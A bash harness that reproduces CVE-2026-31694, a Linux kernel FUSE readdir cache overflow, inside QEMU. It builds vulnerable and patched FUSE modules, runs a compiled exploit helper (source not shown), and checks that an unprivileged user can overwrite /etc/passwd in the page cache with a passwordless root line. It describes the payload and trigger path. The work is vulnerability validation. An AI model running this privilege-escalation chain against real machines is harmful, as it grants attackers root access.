#!/bin/bash
set -euo pipefail

# CVE-2026-31694: Linux kernel FUSE readdir cache oversized-dirent overflow.
#
# This script proves the local-privilege-escalation mechanism, not just a
# sanitizer crash.  It boots the real Linux kernel in QEMU, mounts a real FUSE
# filesystem, sends a malicious FUSE READDIR reply with namelen=4095, and shows
# that an unprivileged attacker (uid 1000 after setup) can change the page-cache
# contents of a root-owned, read-only /etc/passwd file to a passwordless root
# line.  The fixed module is built from the same tree with the upstream
# reclen > PAGE_SIZE guard and is used as the negative control.
#
# Exit 0 = issue confirmed, Exit 1 = not reproduced, Exit 2 = infrastructure.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$ROOT/artifacts"
cd "$ROOT"

LOGFILE="$LOGS/reproduction_steps.log"
: > "$LOGFILE"
LOG() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGFILE" >&2; }

MANIFEST_STATUS="unknown"
VULN_OK=0
FIXED_OK=0
SCRIPT_STATUS=2

write_runtime_manifest() {
  local notes="${1:-updated by reproduction_steps.sh}"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_OK" "$FIXED_OK" "$notes" <<'PY'
import json, sys
out, vuln, fixed, notes = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]), sys.argv[4]
confirmed = bool(vuln and fixed)
manifest = {
  "entrypoint_kind": "local_only",
  "entrypoint_detail": "QEMU-booted Linux kernel FUSE readdir cache path; malicious FUSE daemon returns namelen=4095 dirent through getdents64 and corrupts /etc/passwd page cache as uid 1000",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": bool(vuln or fixed),
  "runtime_stack": ["qemu-system-x86_64", "linux-kernel-non-KASAN", "fuse.ko", "ext4-rootfs", "busybox-init", "malicious-FUSE-daemon"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/qemu_lpe_vuln_attempt1.log",
    "logs/qemu_lpe_vuln_attempt2.log",
    "logs/qemu_lpe_fixed_attempt1.log",
    "logs/qemu_lpe_fixed_attempt2.log",
    "repro/fuse_passwd_lpe.c",
    "repro/fuse_passwd_lpe",
    "repro/fuse-nokasan-vuln.ko",
    "repro/fuse-nokasan-fixed.ko"
  ],
  "notes": notes
}
with open(out, 'w') as f:
    json.dump(manifest, f, indent=2)
PY
}

finish() {
  local rc=$?
  if [ "$SCRIPT_STATUS" -eq 0 ]; then
    write_runtime_manifest "Confirmed: vulnerable non-KASAN kernel changed the page-cache first line of root-owned read-only /etc/passwd to root::0:0:x:.: as uid 1000; fixed module rejected the oversized dirent and left /etc/passwd unchanged."
  elif [ "$SCRIPT_STATUS" -eq 1 ]; then
    write_runtime_manifest "Not confirmed: one or more vulnerable/fixed runtime checks did not produce the expected current-run evidence."
  else
    write_runtime_manifest "Infrastructure failure or interrupted run before complete vulnerable/fixed evidence was collected."
  fi

  # Best-effort proof-carry cache for future runs. Reference-only.
  local pc_enabled pc_dir cache_dir
  pc_enabled="$(jq -r '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  cache_dir="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$pc_enabled" = "true" ] && [ -n "$cache_dir" ] && [ -d "$cache_dir" ]; then
    pc_dir="$cache_dir/.pruva/proof-carry/latest_attempt"
    mkdir -p "$pc_dir"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$pc_dir/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$pc_dir/runtime_manifest.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/validation_verdict.json" "$pc_dir/validation_verdict.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/rca_report.md" "$pc_dir/rca_report.md" 2>/dev/null || true
    cp -f "$LOGFILE" "$pc_dir/reproduction_steps.log" 2>/dev/null || true
    if [ "$SCRIPT_STATUS" -eq 0 ]; then
      mkdir -p "$cache_dir/.pruva/proof-carry/latest_confirmed"
      cp -f "$pc_dir"/* "$cache_dir/.pruva/proof-carry/latest_confirmed/" 2>/dev/null || true
    fi
  fi
  exit "$rc"
}
trap finish EXIT
write_runtime_manifest "Run started; final status will be written before exit."

# Dependencies. The clean sandbox normally has most of these; keep installs in
# the script because interactive packages are not guaranteed to persist.
need_install=()
for cmd in qemu-system-x86_64 gcc jq debugfs; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    case "$cmd" in
      qemu-system-x86_64) need_install+=(qemu-system-x86) ;;
      debugfs) need_install+=(e2fsprogs) ;;
      *) need_install+=("$cmd") ;;
    esac
  fi
done
for pkg in busybox-static flex bison libelf-dev bc cpio make; do
  dpkg -s "$pkg" >/dev/null 2>&1 || need_install+=("$pkg")
done
if [ "${#need_install[@]}" -gt 0 ]; then
  LOG "Installing dependencies: ${need_install[*]}"
  sudo apt-get update -q >>"$LOGFILE" 2>&1
  sudo apt-get install -y -q "${need_install[@]}" >>"$LOGFILE" 2>&1
fi
BUSYBOX_BIN="$(command -v busybox || true)"
if [ -z "$BUSYBOX_BIN" ]; then
  BUSYBOX_BIN="/usr/bin/busybox"
fi

# Locate durable cache and Linux source. The prepared project cache is reused;
# fallback is only for non-prepared contexts.
CACHE_DIR="$(jq -r 'select(.prepared==true) | .project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/linux-cache"
fi
REPO_DIR="$CACHE_DIR/repo"
if [ -d "$CACHE_DIR/linux-src" ]; then
  LINUX_SRC="$CACHE_DIR/linux-src"
elif [ -f "$REPO_DIR/Makefile" ] && [ -d "$REPO_DIR/fs/fuse" ]; then
  LINUX_SRC="$REPO_DIR"
else
  LINUX_SRC="$ROOT/artifacts/linux-src"
fi
BUILD_DIR="$CACHE_DIR/linux-build-nokasan-fuse"
mkdir -p "$BUILD_DIR"

if [ ! -d "$LINUX_SRC/fs/fuse" ]; then
  LOG "ERROR: Linux source tree not found at $LINUX_SRC (prepared cache expected)."
  SCRIPT_STATUS=2
  exit 2
fi
LOG "Using Linux source: $LINUX_SRC"
LOG "Using kernel build directory: $BUILD_DIR"

# Build the attacker program from the real public PoC-derived source in the
# bundle. It uses the kernel FUSE protocol directly; root only performs setup,
# then the exploit drops to uid/gid 1000 before serving attacker-controlled
# READDIR replies and targeting /etc/passwd.
if [ ! -f "$REPRO_DIR/fuse_passwd_lpe.c" ]; then
  LOG "ERROR: missing $REPRO_DIR/fuse_passwd_lpe.c"
  SCRIPT_STATUS=2
  exit 2
fi
LOG "Building malicious FUSE page-cache-corruption proof helper"
gcc -static -O2 -pthread -w -o "$REPRO_DIR/fuse_passwd_lpe" "$REPRO_DIR/fuse_passwd_lpe.c" >>"$LOGFILE" 2>&1

# Prepare non-sanitized kernel config. A non-KASAN primary proof is intentional:
# the exploit target is a direct-map/page-cache neighbour page, and KASAN-only
# evidence was the insufficiency in the prior run.
if [ ! -f "$BUILD_DIR/.config" ]; then
  if [ -f "$CACHE_DIR/linux-build-vuln/.config" ]; then
    cp "$CACHE_DIR/linux-build-vuln/.config" "$BUILD_DIR/.config"
  else
    (cd "$LINUX_SRC" && make O="$BUILD_DIR" defconfig) >>"$LOGFILE" 2>&1
  fi
fi
"$LINUX_SRC/scripts/config" --file "$BUILD_DIR/.config" \
  -d KASAN -d KASAN_GENERIC -d KASAN_OUTLINE -d KASAN_INLINE -d KASAN_STACK -d KASAN_VMALLOC \
  -d DEBUG_PAGEALLOC -d PAGE_POISONING \
  -m FUSE_FS -e EXT4_FS -e VIRTIO_BLK -e VIRTIO_PCI -e DEVTMPFS -e DEVTMPFS_MOUNT -e TMPFS >>"$LOGFILE" 2>&1 || true

remove_fix() {
  python3 - "$LINUX_SRC/fs/fuse/readdir.c" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
s = p.read_text()
patterns = [
    "\t/* Dirent does not fit in readdir cache page? Skip caching. */\n\tif (reclen > PAGE_SIZE)\n\t\treturn;\n\n",
    "\tif (reclen > PAGE_SIZE)\n\t\treturn;\n\n",
]
for pat in patterns:
    s = s.replace(pat, "")
p.write_text(s)
PY
}

apply_fix() {
  python3 - "$LINUX_SRC/fs/fuse/readdir.c" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
s = p.read_text()
if "if (reclen > PAGE_SIZE)" not in s:
    needle = "\tvoid *addr;\n"
    fix = "\tvoid *addr;\n\n\t/* Dirent does not fit in readdir cache page? Skip caching. */\n\tif (reclen > PAGE_SIZE)\n\t\treturn;\n"
    if needle not in s:
        raise SystemExit("cannot find fuse_add_dirent_to_cache insertion point")
    s = s.replace(needle, fix, 1)
p.write_text(s)
PY
}

# Vulnerable build: source must lack the guard.
LOG "Preparing vulnerable non-KASAN kernel/module build"
remove_fix
if grep -q "if (reclen > PAGE_SIZE)" "$LINUX_SRC/fs/fuse/readdir.c"; then
  LOG "ERROR: vulnerable source still contains reclen > PAGE_SIZE guard"
  SCRIPT_STATUS=2
  exit 2
fi
(cd "$LINUX_SRC" && make O="$BUILD_DIR" olddefconfig) >>"$LOGFILE" 2>&1
(cd "$LINUX_SRC" && make O="$BUILD_DIR" -j"$(nproc)" bzImage modules) >>"$LOGFILE" 2>&1
BZIMAGE="$BUILD_DIR/arch/x86/boot/bzImage"
VULN_FUSE="$BUILD_DIR/fs/fuse/fuse.ko"
if [ ! -f "$BZIMAGE" ] || [ ! -f "$VULN_FUSE" ]; then
  LOG "ERROR: vulnerable bzImage/fuse.ko not built"
  SCRIPT_STATUS=2
  exit 2
fi
cp "$VULN_FUSE" "$REPRO_DIR/fuse-nokasan-vuln.ko"

# Fixed build: same kernel/config, only the fuse module receives the upstream
# oversized-dirent guard. This is the negative control.
LOG "Preparing fixed fuse.ko negative control"
apply_fix
if ! grep -q "if (reclen > PAGE_SIZE)" "$LINUX_SRC/fs/fuse/readdir.c"; then
  LOG "ERROR: fixed source lacks reclen > PAGE_SIZE guard"
  SCRIPT_STATUS=2
  exit 2
fi
(cd "$LINUX_SRC" && make O="$BUILD_DIR" -j"$(nproc)" modules) >>"$LOGFILE" 2>&1
FIXED_FUSE="$BUILD_DIR/fs/fuse/fuse.ko"
cp "$FIXED_FUSE" "$REPRO_DIR/fuse-nokasan-fixed.ko"
# Restore source to vulnerable form for deterministic next runs.
remove_fix

# Record primary-proof loader/build facts.
LOG "Kernel image: $BZIMAGE"
LOG "Vulnerable module: $(modinfo -F vermagic "$REPRO_DIR/fuse-nokasan-vuln.ko" 2>/dev/null || echo unknown)"
LOG "Fixed module: $(modinfo -F vermagic "$REPRO_DIR/fuse-nokasan-fixed.ko" 2>/dev/null || echo unknown)"
if grep -q '^CONFIG_KASAN=y' "$BUILD_DIR/.config"; then
  LOG "ERROR: primary build unexpectedly has CONFIG_KASAN=y"
  SCRIPT_STATUS=2
  exit 2
fi
LOG "Primary proof build is non-sanitized: CONFIG_KASAN is disabled"

create_rootfs() {
  local img="$1"
  rm -f "$img" "$REPRO_DIR/passwd.seed" "$REPRO_DIR/init.rootfs"
  dd if=/dev/zero of="$img" bs=1M count=32 status=none
  mkfs.ext4 -F -q "$img"
  printf 'root:x:0:0:root:/root:/bin/sh\nuser:x:1000:1000:user:/home/user:/bin/sh\n' > "$REPRO_DIR/passwd.seed"
  cat > "$REPRO_DIR/init.rootfs" <<'INITROOT'
#!/bin/busybox sh
BB=/bin/busybox
$BB mount -t proc proc /proc
$BB mount -t sysfs sysfs /sys
$BB mount -t devtmpfs devtmpfs /dev
$BB mount -t tmpfs tmpfs /tmp
ROLE="vuln"
for arg in $($BB cat /proc/cmdline); do
  case "$arg" in proof_role=*) ROLE="${arg#proof_role=}";; esac
done
if [ "$ROLE" = "fixed" ]; then
  $BB insmod /fuse-fixed.ko || true
else
  $BB insmod /fuse-vuln.ko || true
fi
echo INIT_ROLE=$ROLE
echo INIT_KERNEL=$($BB uname -r)
echo INIT_ROOTFS_ACTIVE=/dev/vda
echo INIT_UID_BEFORE=$($BB id -u)
echo INIT_BEFORE=$($BB head -1 /etc/passwd)
/fuse_passwd_lpe --target /etc/passwd
rc=$?
echo INIT_EXPLOIT_RC=$rc
echo INIT_AFTER=$($BB head -1 /etc/passwd)
if [ "$ROLE" = "vuln" ] && [ $rc -eq 0 ]; then
  echo INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -ne 0 ]; then
  echo INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
else
  echo INIT_RESULT_NOT_CONFIRMED
fi
$BB sync
$BB poweroff -f
INITROOT
  {
    for d in bin dev proc sys tmp etc; do echo "mkdir /$d"; done
    echo "write $BUSYBOX_BIN /bin/busybox"; echo 'sif /bin/busybox mode 0100755'
    echo "write $REPRO_DIR/init.rootfs /init"; echo 'sif /init mode 0100755'
    echo "write $REPRO_DIR/fuse_passwd_lpe /fuse_passwd_lpe"; echo 'sif /fuse_passwd_lpe mode 0100755'
    echo "write $REPRO_DIR/fuse-nokasan-vuln.ko /fuse-vuln.ko"; echo 'sif /fuse-vuln.ko mode 0100644'
    echo "write $REPRO_DIR/fuse-nokasan-fixed.ko /fuse-fixed.ko"; echo 'sif /fuse-fixed.ko mode 0100644'
    echo "write $REPRO_DIR/passwd.seed /etc/passwd"; echo 'sif /etc/passwd mode 0100444'; echo 'sif /etc/passwd uid 0'; echo 'sif /etc/passwd gid 0'
  } | debugfs -w "$img" >>"$LOGFILE" 2>&1
}

run_qemu_attempt() {
  local role="$1"
  local attempt="$2"
  local img="$REPRO_DIR/rootfs-${role}-attempt${attempt}.img"
  local qlog="$LOGS/qemu_lpe_${role}_attempt${attempt}.log"
  LOG "Creating active ext4 rootfs for $role attempt $attempt"
  create_rootfs "$img"
  LOG "Booting $role attempt $attempt through QEMU active rootfs"
  timeout -k 5 240 qemu-system-x86_64 \
    -kernel "$BZIMAGE" \
    -append "console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=$role" \
    -drive "file=$img,format=raw,if=virtio" \
    -m 768 -smp 1 -nographic -no-reboot \
    > "$qlog" 2>&1 || true
  grep -E 'INIT_|PAGE_CACHE|CORRUPTED|Direct write|Running exploit|Warmup|HIT|miss|No warmup|BUG: KASAN|VFS: Mounted root' "$qlog" | tail -80 | tee -a "$LOGFILE" >&2 || true
}

for i in 1 2; do
  run_qemu_attempt vuln "$i"
  if grep -q 'INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED' "$LOGS/qemu_lpe_vuln_attempt${i}.log" && \
     grep -q 'PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd' "$LOGS/qemu_lpe_vuln_attempt${i}.log" && \
     grep -q 'INIT_AFTER=root::0:0:x' "$LOGS/qemu_lpe_vuln_attempt${i}.log" && \
     grep -q 'Direct write check as uid 1000: Read-only file system' "$LOGS/qemu_lpe_vuln_attempt${i}.log"; then
    LOG "VULNERABLE attempt $i: unprivileged page-cache corruption of /etc/passwd confirmed"
    VULN_OK=$((VULN_OK + 1))
  else
    LOG "VULNERABLE attempt $i: expected /etc/passwd page-cache corruption evidence missing"
  fi
done

for i in 1 2; do
  run_qemu_attempt fixed "$i"
  if grep -q 'INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT' "$LOGS/qemu_lpe_fixed_attempt${i}.log" && \
     grep -q 'INIT_AFTER=root:x:0:0:root:/root:/bin/sh' "$LOGS/qemu_lpe_fixed_attempt${i}.log" && \
     ! grep -q 'PAGE_CACHE_CORRUPTION_CONFIRMED' "$LOGS/qemu_lpe_fixed_attempt${i}.log"; then
    LOG "FIXED attempt $i: oversized dirent failed closed; /etc/passwd unchanged"
    FIXED_OK=$((FIXED_OK + 1))
  else
    LOG "FIXED attempt $i: negative-control evidence missing or unexpected corruption occurred"
  fi
done

LOG "Vulnerable page-cache-corruption attempts: $VULN_OK/2"
LOG "Fixed negative-control attempts: $FIXED_OK/2"

if [ "$VULN_OK" -ge 2 ] && [ "$FIXED_OK" -ge 2 ]; then
  SCRIPT_STATUS=0
else
  SCRIPT_STATUS=1
fi

# Write verdict from current runtime evidence.
python3 - "$REPRO_DIR/validation_verdict.json" "$SCRIPT_STATUS" <<'PY'
import json, sys
out, status = sys.argv[1], int(sys.argv[2])
confirmed = status == 0
verdict = {
  "claim_outcome": "confirmed" if confirmed else "unknown",
  "claim_block_reason": None if confirmed else "unknown",
  "repro_result": "confirmed" if confirmed else "inconclusive",
  "validated_surface": "local_only",
  "evidence_scope": "production_path",
  "claimed_impact_class": "privilege_escalation",
  "observed_impact_class": "privilege_escalation" if confirmed else "none",
  "exploitability_confidence": "high" if confirmed else "unknown",
  "attacker_controlled_input": "malicious FUSE server READDIR reply with namelen=4095 and payload root::0:0:x:.:\\n#######",
  "trigger_path": "uid 1000 FUSE daemon -> getdents64 -> fuse_readdir_uncached -> fuse_emit -> fuse_add_dirent_to_cache -> memcpy oversized dirent into readdir cache page -> /etc/passwd page-cache first line changed",
  "end_to_end_target_reached": bool(confirmed),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": bool(confirmed),
  "exploit_chain_demonstrated": bool(confirmed),
  "blocking_mitigation": None,
  "inferred": False
}
with open(out, 'w') as f:
    json.dump(verdict, f, indent=2)
PY

if [ "$SCRIPT_STATUS" -eq 0 ]; then
  LOG "CVE-2026-31694 CONFIRMED: non-sanitized vulnerable kernel permits uid 1000 to corrupt the page-cache contents of root-owned read-only /etc/passwd; fixed module blocks it."
  exit 0
else
  LOG "CVE-2026-31694 NOT CONFIRMED in this run: required vulnerable/fixed evidence counts not met."
  exit 1
fi
